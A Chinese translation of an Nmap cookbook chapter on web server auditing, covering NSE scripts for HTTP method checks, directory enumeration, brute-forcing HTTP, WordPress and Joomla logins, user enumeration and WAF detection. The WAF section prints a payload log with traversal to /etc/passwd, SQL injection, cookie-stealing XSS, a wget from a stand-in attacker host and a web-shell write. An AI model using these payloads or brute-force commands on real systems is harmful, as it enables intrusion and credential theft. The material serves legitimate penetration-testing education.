Skip to content

Latest commit

 

History

History
1405 lines (901 loc) · 52.8 KB

File metadata and controls

1405 lines (901 loc) · 52.8 KB

四、审计 Web 服务器

本章向您展示了如何做一些在许多情况下可能是非法的、不道德的、违反服务条款的或不是好主意的事情。这里提供的信息可用于保护您免受威胁,并使您自己的系统更安全。在遵循这些说明之前,请确保您站在法律和道德的正确一边。。。善用你的力量!

在本章中,我们将介绍:

  • 列出支持的 HTTP 方法
  • 检查 HTTP 代理是否打开
  • 在各种 web 服务器上发现有趣的文件和目录
  • 强制 HTTP 身份验证
  • 滥用 mod_userdir 枚举用户帐户
  • 在 web 应用程序中测试默认凭据
  • 强制密码审计 WordPress 安装
  • 蛮力密码审计 Joomla!装置
  • 检测 web 应用程序防火墙
  • 检测可能的 XST 漏洞
  • 检测 web 应用程序中的跨站点脚本漏洞
  • 在 web 应用程序中查找 SQL 注入漏洞
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器

导言

**超文本传输协议(HTTP)**可以说是当今最流行的协议之一。Web 服务器已经从提供静态页面转向处理具有实际用户交互的复杂 Web 应用程序。这为受污染的用户输入打开了大门,这些输入可能会改变应用程序的逻辑以执行意外操作。现代 web 开发框架允许几乎任何具有编程知识的人在几分钟内生成 web 应用程序,但这也导致了 Internet 上易受攻击应用程序的增加。Nmap 脚本引擎可用的 HTTP 脚本数量迅速增长,Nmap 变成了一个宝贵的 web 扫描器,帮助渗透测试人员以自动化的方式执行大量繁琐的手动检查。它不仅可以用于查找易受攻击的 web 应用程序或检测错误的配置设置,而且由于新的爬行库,Nmap 甚至可以对 web 服务器进行爬网,以查找各种有趣的信息。

本章介绍如何使用 Nmap 审计 web 服务器,从自动配置检查到利用易受攻击的 web 应用程序。我将介绍一些我在去年开发的 NSE 脚本,这些脚本是我每天在 Websec 进行 web 渗透测试时使用的。本章介绍检测数据包过滤系统、暴力密码审计、文件和目录发现以及漏洞利用等任务。

列出支持的 HTTP 方法

Web 服务器根据其配置和软件支持不同的 HTTP 方法,其中一些方法在某些情况下可能很危险。戊酯需要一种快速列出可用方法的方法。NSE 脚本http-methods不仅允许他们列出这些潜在的危险方法,还允许他们测试这些方法。

这个方法向您展示了如何使用 Nmap 枚举 web 服务器支持的所有 HTTP 方法。

怎么做。。。

打开终端并输入以下命令:

$ nmap -p80,443 --script http-methods scanme.nmap.org

显示在端口80443上检测到的每个 web 服务器的结果:

Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.11s latency).
PORT    STATE  SERVICE
80/tcp  open   http
|_http-methods: GET HEAD POST OPTIONS
443/tcp closed https

它是如何工作的。。。

参数-p80,443 --script http-methods使 Nmap 在发现 web 服务器端口 80 或 443(-p80,443时启动http-methods脚本。NSE 脚本hhttp-methods由 Bernd Stroessenreuther 提交,它使用 HTTP 方法OPTIONS尝试列出 web 服务器支持的所有方法。

OPTIONS在 web 服务器中实现,以告知客户端其支持的方法。请记住,此方法不考虑配置或防火墙规则,并且使用OPTIONS列出的方法并不一定意味着您可以访问它。

还有更多。。。

要单独检查OPTIONS返回的方法的状态码响应,请使用脚本参数http-methods.retest

# nmap -p80,443 --script http-methods --script-args http-methods.retest scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.14s latency).
PORT    STATE  SERVICE
80/tcp  open   http
| http-methods: GET HEAD POST OPTIONS
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
|_OPTIONS / -> HTTP/1.1 200 OK
443/tcp closed https

默认情况下,脚本http-methods使用根文件夹作为基本路径( / 。如果要设置不同的基本路径,请设置参数http-methods.url-path

# nmap -p80,443 --script http-methods --script-args http-methods.url-path=/mypath/ scanme.nmap.org

有趣的 HTTP 方法

HTTP 方法TRACECONNECTPUTDELETE可能存在安全风险,如果 web 服务器或应用程序支持,则需要对其进行彻底测试。

TRACE使应用程序容易受到**跨站点跟踪(XST)**攻击,并可能导致攻击者访问标记为httpOnly的 cookie。CONNECT方法可能允许将 web 服务器用作未经授权的 web 代理。方法PUTDELETE具有更改文件夹内容的能力,如果权限设置不正确,这显然会被滥用。

您可以在了解与每种方法相关的常见风险 http://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent来使用不同的 HTTP 用户代理:

$ nmap -p80 --script http-methods --script-args http.useragent="Mozilla 42" <target>

HTTP 流水线

一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试管道化 40 个请求,并根据Keep-Alive头根据流量条件自动调整请求数量。

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>

此外,您可以使用参数http.max-pipeline设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline,则忽略此参数:

$nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>

另见

  • 检测可能的 XST 漏洞配方
  • 在各种 web 服务器上发现有趣的文件和目录配方
  • 检测 web 应用程序防火墙配方
  • 滥用 mod_userdir 枚举用户帐户配方
  • 在 web 应用程序中测试默认凭据配方
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器配方

检查 HTTP 代理是否打开

HTTP 代理用于通过其地址发出请求,因此对目标隐藏真实 IP 地址。如果您是需要确保网络安全的系统管理员,或者是欺骗其真实来源的攻击者,则检测它们非常重要。

此配方向您展示了如何使用 Nmap 检测打开的 HTTP 代理。

怎么做。。。

打开终端并输入以下命令:

$ nmap --script http-open-proxy -p8080 <target>

结果包括成功测试的 HTTP 方法:

PORT     STATE SERVICE
8080/tcp open  http-proxy
|  proxy-open-http: Potentially OPEN proxy.
|_ Methods successfully tested: GET HEAD CONNECT

它是如何工作的。。。

如果发现 web 服务器在端口8080上运行,我们使用参数--script http-open-proxy -p8080启动 NSE 脚本http-open-proxy,该端口是 HTTP 代理的公共端口。

NSE 脚本http-open-proxy由 Arturo“Buanzo”Busleiman 提交,其设计目的是检测开放代理,正如其名称所示。默认情况下,它请求google.comwikipedia.orgcomputerhistory.org,并查找已知的文本模式,以确定目标 web 服务器上是否运行开放的 HTTP 代理。

还有更多。。。

您可以使用脚本参数http-open-proxy.urlhttp-open-proxy.pattern请求不同的 URL,并指定连接成功时将返回的模式:

$ nmap --script http-open-proxy –script-args http-open-proxy.url=http://whatsmyip.org,http-open-proxy.pattern="Your IP address is" -p8080 <target>

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent来使用不同的 HTTP 用户代理:

$ nmap -p80 --script http-trace --script-args http.useragent="Mozilla 42" <target>

另见

  • 检测可能的 XST 漏洞配方
  • 在各种服务器上发现有趣的文件和目录配方
  • 检测 web 应用程序防火墙配方
  • 强制 HTTP 身份验证配方
  • 滥用 mod_userdir 枚举用户帐户配方
  • 在 web 应用程序中测试默认凭据配方
  • 暴力密码审计 WordPress 安装配方
  • 蛮力密码审计 Joomla!安装配方
  • 发现 web 应用程序中的 SQL 注入漏洞秘诀
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器配方

在各种 web 服务器上发现有趣的文件和目录

渗透测试期间无法手动完成的常见任务之一是文件和目录发现。有几种工具可用于此任务,但 Nmap 的强大数据库覆盖了感兴趣的文件,如自述、数据库转储和遗忘的配置备份,因此非常出色;公共目录,如管理面板或未受保护的文件上载程序;甚至攻击有效负载以利用常见、易受攻击的 web 应用程序中的目录遍历。

本食谱将向您展示如何使用 Nmap 进行 web 扫描,以便发现感兴趣的文件、目录,甚至是易受攻击的 web 应用程序。

怎么做。。。

打开终端并输入以下命令:

$ nmap --script http-enum -p80 <target>

结果将包括所有感兴趣的文件、目录和应用程序:

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|   /blog/: Blog
|   /test.php: Test page
|   /robots.txt: Robots file
|   /css/cake.generic.css: CakePHP application
|_  /img/cake.icon.png: CakePHP application

它是如何工作的。。。

参数-p80 --script http-enum告诉 Nmap,如果在端口 80 上发现 web 服务器,则启动脚本http-enum。脚本http-enum最初由 Ron Bowes 提交,其主要目的是目录发现,但社区一直在添加新的指纹,以包括其他有趣的文件,如版本文件、自述和遗忘的数据库备份。在过去两年中,我还添加了 150 多个条目来识别易受攻击的 web 应用程序,并且不断添加新条目。

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|_  /crossdomain.xml: Adobe Flash crossdomain policy

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|   /administrator/: Possible admin folder
|   /administrator/index.php: Possible admin folder
|   /home.html: Possible admin folder
|   /test/: Test page
|   /logs/: Logs
|_  /robots.txt: Robots file

还有更多。。。

指纹存储在/nselib/data/中的http-fingerprints.lua文件中,它们实际上是 LUA 表。条目如下所示:

table.insert(fingerprints, {
	category='cms',
	probes={
		{path='/changelog.txt'},
		{path='/tinymce/changelog.txt'},
	},
	matches={
		{match='Version (.-) ', output='Version \\1'},
		{output='Interesting, a changelog.'}
	}
})

您可以将自己的条目添加到此文件中,或使用参数http-enum.fingerprintfile使用不同的指纹文件:

$ nmap --script http-enum --script-args http-enum.fingerprintfile=./myfingerprints.txt -p80 <target>

默认情况下,http-enum使用根目录作为基本路径。要设置不同的基本路径,请使用脚本参数http-enum.basepath

$ nmap --script http-enum http-enum.basepath=/web/ -p80 <target>

要显示返回可能指示页面存在的状态代码的所有条目,请使用脚本参数http-enum.displayall

$ nmap --script http-enum http-enum.displayall -p80 <target>

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent来使用不同的 HTTP 用户代理:

$ nmap -p80 --script http-enum --script-args http.useragent="Mozilla 42" <target>

HTTP 流水线

一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive头的流量条件自动调整该数量。

$ nmap -p80 --script http-enum --script-args http.pipeline=25 <target>

此外,您可以使用参数http.max-pipeline设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline,则忽略此参数:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>

另见

  • 强制 HTTP 身份验证配方
  • 滥用 mod_userdir 枚举用户帐户配方
  • 在 web 应用程序中测试默认凭据配方
  • 暴力密码审计 WordPress 安装配方
  • 蛮力密码审计 Joomla!安装配方

强制 HTTP 身份验证

如今,许多家庭路由器、IP 网络摄像头甚至网络应用程序仍然依赖于 HTTP 身份验证,渗透测试人员需要尝试弱密码的单词列表,以确保系统或用户帐户的安全。现在,由于 NSE 脚本http-brute,我们可以对 HTTPAuth 保护的资源执行强大的字典攻击。

此配方显示了如何对使用 HTTP 身份验证的 web 服务器执行强制密码审计。

怎么做。。。

使用以下 Nmap 命令对受 HTTP 基本身份验证保护的资源执行强制密码审计:

$ nmap -p80 --script http-brute –script-args http-brute.path=/admin/ <target>

结果包含找到的所有有效帐户:

PORT     STATE SERVICE REASON
80/tcp   open  http    syn-ack
| http-brute: 
|   Accounts
|     admin:secret => Valid credentials
|   Statistics
|_    Perfomed 603 guesses in 7 seconds, average tps: 86

它是如何工作的。。。

参数-p80 --script http-brute告诉 Nmap 针对在端口 80 上运行的 web 服务器启动http-brute脚本。此脚本最初由 Patrik Karlsson 提交,创建此脚本是为了对受 HTTP 基本身份验证保护的 URI 发起字典攻击。

脚本http-brute默认使用位于/nselib/data/的文件usernames.lstpasswords.lst为每个用户尝试每个密码,希望找到一个有效的帐户。

还有更多。。。

脚本http-brute依赖于 NSE 库unpwdbbrute。这些库具有多个脚本参数,可用于调整蛮力密码的审计。

要使用不同的用户名和密码列表,请设置参数userdbpassdb

$ nmap -p80 --script http-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>

要在找到一个有效帐户后退出,请使用参数brute.firstOnly

$ nmap -p80 --script http-brute --script-args brute.firstOnly <target>

默认情况下,http-brute使用 Nmap 的计时模板设置以下超时限制:

  • -T3、T2、T1:10 分钟
  • -T4:5 分钟
  • -T5:3 分钟

要设置不同的超时限制,请使用参数unpwd.timelimit。要不间断地运行,请将其设置为0

$ nmap -p80 --script http-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p80 --script http-brute --script-args unpwdb.timelimit=60m <target>

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <target>

HTTP 流水线

一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive头的流量条件自动调整该数量。

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>

此外,您可以使用参数http.max-pipeline设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline,则忽略此参数:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>

暴力模式

暴力库支持改变攻击中使用的组合的不同模式。可用的模式有:

  • user:在该模式下,对于userdb中列出的每个用户,passdb中的每个密码都会被尝试。

    $ nmap --script http-brute --script-args brute.mode=user <target>
    
    
  • pass:在该模式下,对于passdb中列出的每个密码,usedb中的每个用户都将被尝试。

    $ nmap --script http-brute --script-args brute.mode=pass <target>
    
    
  • creds:此模式需要额外的参数brute.credfile

    $ nmap --script http-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
    
    

另见

  • 检测可能的 XST 漏洞配方
  • 在各种 web 服务器上发现有趣的文件和目录配方
  • 检测 web 应用程序防火墙配方
  • 滥用 mod_userdir 枚举用户帐户配方
  • 在 web 应用程序中测试默认凭据配方
  • 暴力密码审计 WordPress 安装配方
  • 蛮力密码审计 Joomla!安装配方
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器配方

滥用 mod_userdir 枚举用户账号

Apache 的模块UserDir通过使用语法为/~username/的 URI 来访问用户目录。使用 Nmap,我们可以执行字典攻击,并确定 web 服务器上的有效用户名列表。

这个方法向您展示了如何使 Nmap 在启用了mod_userdir的情况下执行暴力攻击来枚举 Apache web 服务器中的用户帐户。

怎么做。。。

尝试使用mod_userdir枚举 web 服务器中的有效用户;将 Nmap 与以下参数一起使用:

$ nmap -p80 --script http-userdir-enum <target>

找到的所有用户名都将包含在结果中:

PORT   STATE SERVICE
80/tcp open  http
|_http-userdir-enum: Potential Users: root, web, test

它是如何工作的。。。

如果在端口 80(-p80上发现 web 服务器,参数-p80 --script http-userdir-enum将启动 NSE 脚本http-userdir-enum。带有mod_userdir的 Apache web 服务器允许使用 URI(如访问用户目录)http://domain.com/~root/,此脚本帮助我们执行字典攻击以枚举有效用户。

首先,脚本查询不存在的目录,以记录无效页面的状态响应。然后,它会尝试字典文件中的每个单词,测试 URI 并查找 HTTP 状态代码 200 或 403,以指示有效的用户名。

还有更多。。。

脚本http-userdir-enum默认使用位于/nselib/data/的单词列表usernames.lst,但您可以通过设置参数userdir.users使用不同的文件,如下命令所示:

$ nmap -p80 --script http-userdir-enum --script-args userdir.users=./users.txt <target>
PORT   STATE SERVICE
80/tcp open  http
|_http-userdir-enum: Potential Users: john, carlos

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <target>

HTTP 流水线

一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive头的流量条件自动调整该数量。

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>

此外,您可以使用参数http.max-pipeline设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline,则忽略此参数:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>

另见

  • 在各种 web 服务器上发现有趣的文件和目录配方
  • 检测 web 应用程序防火墙配方
  • 强制 HTTP 身份验证配方
  • 在 web 应用程序中测试默认凭据配方
  • 暴力密码审计 WordPress 安装配方
  • 蛮力密码审计 Joomla!安装配方

在 web 应用程序中测试默认凭据

默认凭据在 web 应用程序和设备中经常被遗忘。Nmap 的 NSE 脚本http-default-accounts自动测试流行 web 应用程序中的默认凭据,例如 Apache Tomcat Manager、Cacti,甚至家庭路由器的 web 管理界面。

此配方向您展示了如何使用 Nmap 自动测试多个 web 应用程序中的默认凭据访问。

怎么做。。。

要在受支持的应用程序中自动测试默认凭据访问,请使用以下 Nmap 命令:

$ nmap -p80 --script http-default-accounts <target>

如果成功,结果将指示应用程序和默认凭据:

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
|_http-default-accounts: [Cacti] credentials found -> admin:admin Path:/cacti/

它是如何工作的。。。

如果在端口 80(-p80上发现 web 服务器,我们将启动 NSE 脚本http-default-accounts--script http-default-accounts)。

我开发了这个 NSE 脚本,通过自动检查系统管理员是否忘记更改系统中的任何默认密码来节省 web 渗透测试期间的时间。我已经包含了一些流行服务的指纹,但是通过支持更多的服务,这个脚本可以得到很大的改进。我鼓励您向其数据库提交新指纹,如果您可以访问通常保留默认凭据访问权限的服务。到目前为止,受支持的服务包括:

  • 仙人掌
  • 阿帕奇雄猫
  • ApacheAxis2
  • ARRIS2307 路由器
  • 思科 2811 路由器

该脚本通过查看已知路径并使用存储的默认凭据启动登录例程来检测 web 应用程序。这取决于位于/nselib/data/http-default-accounts.nse的指纹文件。条目是 LUA 表,它们如下所示:

table.insert(fingerprints, {
  name = "Apache Tomcat",
  category = "web",
  paths = {
    {path = "/manager/html/"},
    {path = "/tomcat/manager/html/"}
  },
  login_combos = {
    {username = "tomcat", password = "tomcat"},
    {username = "admin", password = "admin"}
  },
  login_check = function (host, port, path, user, pass)
    return try_http_basic_login(host, port, path, user, pass)
  end
})

每个指纹条目必须具有以下字段:

  • name:此字段指定一个描述性服务名称。
  • category:此字段指定侵入性较小的扫描所需的类别。
  • login_combos:此字段指定服务使用的默认凭证的 LUA 表。
  • paths:此字段指定一个 LUA 路径表,其中通常可以找到服务。
  • login_check:此字段指定 web 服务的登录例程。

还有更多。。。

对于侵入性较小的扫描,请使用脚本参数http-default-accounts.category按类别过滤探测:

$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.category=routers <target>

可供选择的类别包括:

  • web:该类别管理 web 应用程序
  • router:该类别管理路由器的接口
  • voip:该类别管理 VOIP 设备
  • security:该类别管理安全相关软件

此脚本默认使用根文件夹作为基本路径,但您可以使用参数http-default-accounts.basepath设置不同的路径:

$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.basepath=/web/ <target>

默认指纹文件位于/nselib/data/http-default-accounts-fingerprints.lua,但您可以通过指定参数http-default-accounts.fingerprintfile来使用不同的文件:

$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.fingerprintfile=./more-signatures.txt <target>

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <target>

另见

  • 检测可能的 XST 漏洞配方
  • 在各种 web 服务器中发现有趣的文件和目录配方
  • 检测 web 应用程序防火墙配方
  • 强制 HTTP 身份验证配方
  • 滥用 mod_userdir 枚举用户帐户配方
  • 暴力密码审计 WordPress 安装配方
  • 蛮力密码审计 Joomla!安装配方
  • 发现 web 应用程序中的 SQL 注入漏洞秘诀

暴力密码审计 WordPress 安装

WordPress 是一个广为人知的CMS内容管理系统),广泛应用于许多行业。Nmap 现在包括自己的 NSE 脚本,以帮助 pentesters 发起字典攻击,并使用可能危及应用程序完整性的弱密码查找帐户。

此配方显示了如何对 WordPress 安装执行暴力密码审计。

怎么做。。。

要在 WordPress 安装中查找密码较弱的帐户,请使用以下 Nmap 命令:

$ nmap -p80 --script http-wordpress-brute <target>

找到的所有有效帐户将显示在结果中:

PORT     STATE SERVICE REASON
80/tcp   open  http    syn-ack
| http-wordpress-brute:
|   Accounts
|     papa:a1b2c3d4 => Login correct
|   Statistics
|_    Perfomed 360 guesses in 17 seconds, average tps: 6

它是如何工作的。。。

如果在端口 80(-p80上发现 web 服务器,参数-p80 –script http-wordpress-brute将启动 NSE 脚本http-wordpress-brute。我开发了这个脚本,以避免在对 WordPress 安装使用http-brute时,必须为用户名和密码设置 WordPress URI 和 HTML 变量名。

此脚本使用以下默认变量:

  • uri/wp-login.php
  • uservarlog
  • passvarpwd

还有更多。。。

要设置线程数,请使用脚本参数http-wordpress-brute.threads

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.threads=5 <target>

如果服务器有虚拟主机,请使用参数http-wordpress-brute.hostname设置主机字段:

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.hostname="ahostname.wordpress.com" <target>

要设置不同的登录 URI,请使用参数http-wordpress-brute.uri

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uri="/hidden-wp-login.php" <target>

要更改存储用户名和密码的POST变量的名称,请设置参数http-wordpress-brute.uservarhttp-wordpress-brute.passvar

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uservar=usuario,http-wordpress-brute.passvar=pasguord <target>

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-wordpress-brute --script-args http.useragent="Mozilla 42" <target>

暴力模式

暴力库支持改变攻击中使用的组合的不同模式。可用的模式有:

  • user:在该模式下,对于userdb中列出的每个用户,passdb中的每个密码都将在

    $ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
    
    

    中进行尝试

  • pass:在该模式下,对于passdb中列出的每个密码,usedb中的每个用户都会被

    $ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
    
    

    尝试

  • creds:此模式需要附加参数brute.credfile

    $ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
    
    

另见

  • 检测可能的 XST 漏洞配方
  • 在各种 web 服务器上发现有趣的文件和目录配方
  • 检测 web 应用程序防火墙配方
  • 强制 HTTP 身份验证配方
  • 滥用 mod_userdir 枚举用户帐户配方
  • 在 web 应用程序中测试默认凭据配方
  • 蛮力密码审计 Joomla!安装配方
  • 发现 web 应用程序中的 SQL 注入漏洞秘诀
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器配方

蛮力密码审计 Joomla!装置

乔姆拉!是一种非常流行的 CMS,用于许多不同的目的,包括电子商务。检测密码较弱的用户帐户是渗透测试人员的一项常见任务,Nmap 通过使用 NSE 脚本http-joomla-brute来帮助完成这项任务。

这个食谱展示了如何对 Joomla 执行暴力密码审计!安装。

怎么做。。。

打开终端并输入以下命令:

$ nmap -p80 --script http-joomla-brute <target>

将返回找到的所有有效帐户:

PORT     STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-joomla-brute:
|   Accounts
|     king:kong => Login correct
|   Statistics
|_    Perfomed 799 guesses in 501 seconds, average tps: 0

它是如何工作的。。。

如果在端口 80(-p80上发现 web 服务器,参数-p80 –script http-joomla-brute将启动 NSE 脚本http-joomla-brute。我开发这个脚本是为了对 Joomla 执行暴力密码审计!安装。

脚本http-joomla-brute使用以下默认变量:

  • uri/administrator/index.php
  • uservarusername
  • passvarpasswd

还有更多。。。

使用以下命令设置参数http-joomla-brute.threads的螺纹编号:

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.threads=5 <target>

要在 HTTP 请求中设置Host字段,请使用脚本参数http-joomla-brute.hostname,方法是使用以下命令:

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.hostname="hostname.com" <target>

通过使用以下命令指定参数http-joomla-brute.uri来设置不同的登录 URI:

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.uri="/joomla/admin/login.php" <target>

要更改存储用户名和密码的POST变量的名称,请使用以下命令设置参数http-joomla-brute.uservarhttp-joomla-brute.passvar

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.uservar=usuario,http-joomla-brute.passvar=pasguord <target>

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-wordpress-brute --script-args http.useragent="Mozilla 42" <target>

暴力模式

暴力库支持改变攻击中使用的组合的不同模式。可用的模式有:

  • user:在该模式下,对于userdb中列出的每个用户,passdb中的每个密码都将在

    $ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
    
    

    中进行尝试

  • pass:在该模式下,对于passdb中列出的每个密码,usedb中的每个用户都会被

    $ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
    
    

    尝试

  • creds:此模式需要附加参数brute.credfile

    $ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
    
    

另见

  • 检测可能的 XST 漏洞配方
  • 在各种 web 服务器上发现有趣的文件和目录配方
  • 强制 HTTP 身份验证配方
  • 滥用 mod_userdir 枚举用户帐户配方
  • 在 web 应用程序中测试默认凭据配方
  • 暴力密码审计 WordPress 安装配方
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器配方

检测 web 应用防火墙

Web 服务器通常由丢弃或重定向可疑恶意数据包的数据包过滤系统进行保护。Web 渗透测试人员从他们与目标应用程序之间的流量过滤系统中获益。如果是这样,他们可以尝试更罕见或隐蔽的技术,试图绕过Web 应用程序防火墙(WAF)或入侵预防系统(IPS)。它还帮助他们确定在当前环境中是否可以利用漏洞。

此配方演示如何使用 Nmap 检测数据包过滤系统,如 Web 应用程序防火墙或入侵防御系统。

怎么做。。。

要检测 Web 应用程序防火墙或入侵防御系统,请执行以下操作:

$ nmap -p80 --script http-waf-detect <target>

脚本http-waf-detect将告诉您是否检测到数据包过滤系统:

PORT   STATE SERVICE
80/tcp open  http
|_http-waf-detect: IDS/IPS/WAF detected

它是如何工作的。。。

如果发现 web 服务器在端口 80 上运行,参数-p80 --script http-waf-detect将启动 NSE 脚本http-waf-detect。我开发了http-waf-detect来确定带有恶意有效负载的 HTTP 请求是否被 web 应用程序防火墙(WAFs)或入侵防御系统(IPSs)过滤。

该脚本通过保存安全 HTTPGET请求的状态代码(可选)和页面正文,并将其与包含最常见 web 应用程序漏洞的攻击有效载荷的请求进行比较。由于每个恶意有效负载都存储在一个奇数变量名中,因此 web 应用程序不太可能使用它,并且只有数据包过滤系统会做出反应并改变任何返回的状态代码,以接收 HTTP 状态代码 403(禁止)或页面内容。

还有更多。。。

要检测响应正文中的更改,请使用参数http-waf-detect.detectBodyChanges。我建议您在处理动态内容很少的页面时启用它:

$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges" <target>

要包含更多攻击有效载荷,请使用脚本参数http-waf-detect.aggro。此模式会生成更多 HTTP 请求,但也会触发更多产品:

$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro" <target>
Initiating NSE at 23:03
NSE: http-waf-detect: Requesting URI /abc.php
NSE: Final http cache size (1160 bytes) of max size of 1000000
NSE: Probing with payload:?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd
NSE: Probing with payload:?p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name%20FROM%20information_schema.tables
NSE: Probing with payload:?p4yl04d3=<script>alert(document.cookie)</script>
NSE: Probing with payload:?p4yl04d=cat%20/etc/shadow
NSE: Probing with payload:?p4yl04d=id;uname%20-a
NSE: Probing with payload:?p4yl04d=<?php%20phpinfo();%20?>
NSE: Probing with payload:?p4yl04d='%20OR%20'A'='A
NSE: Probing with payload:?p4yl04d=http://google.com
NSE: Probing with payload:?p4yl04d=http://evilsite.com/evilfile.php
NSE: Probing with payload:?p4yl04d=cat%20/etc/passwd
NSE: Probing with payload:?p4yl04d=ping%20google.com
NSE: Probing with payload:?p4yl04d=hostname%00
NSE: Probing with payload:?p4yl04d=<img%20src='x'%20onerror=alert(document.cookie)%20/>
NSE: Probing with payload:?p4yl04d=wget%20http://ev1l.com/xpl01t.txt
NSE: Probing with payload:?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--

要为探测设置不同的 URI,请设置参数http-waf-detect.uri

$ nmap -p80 --script http-waf-detect --script-args http-waf-detect.uri=/webapp/ <target>

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-waf-detect --script-args http.useragent="Mozilla 42" <target>

HTTP 流水线

一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive头的流量条件自动调整该数量。

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>

此外,您可以使用参数http.max-pipeline设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline,则忽略此参数:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>

另见

  • 检测可能的 XST 漏洞配方
  • 在各种 web 服务器上发现有趣的文件和目录配方
  • 强制 HTTP 身份验证配方
  • 滥用 mod_userdir 枚举用户帐户配方
  • 在 web 应用程序中测试默认凭据配方
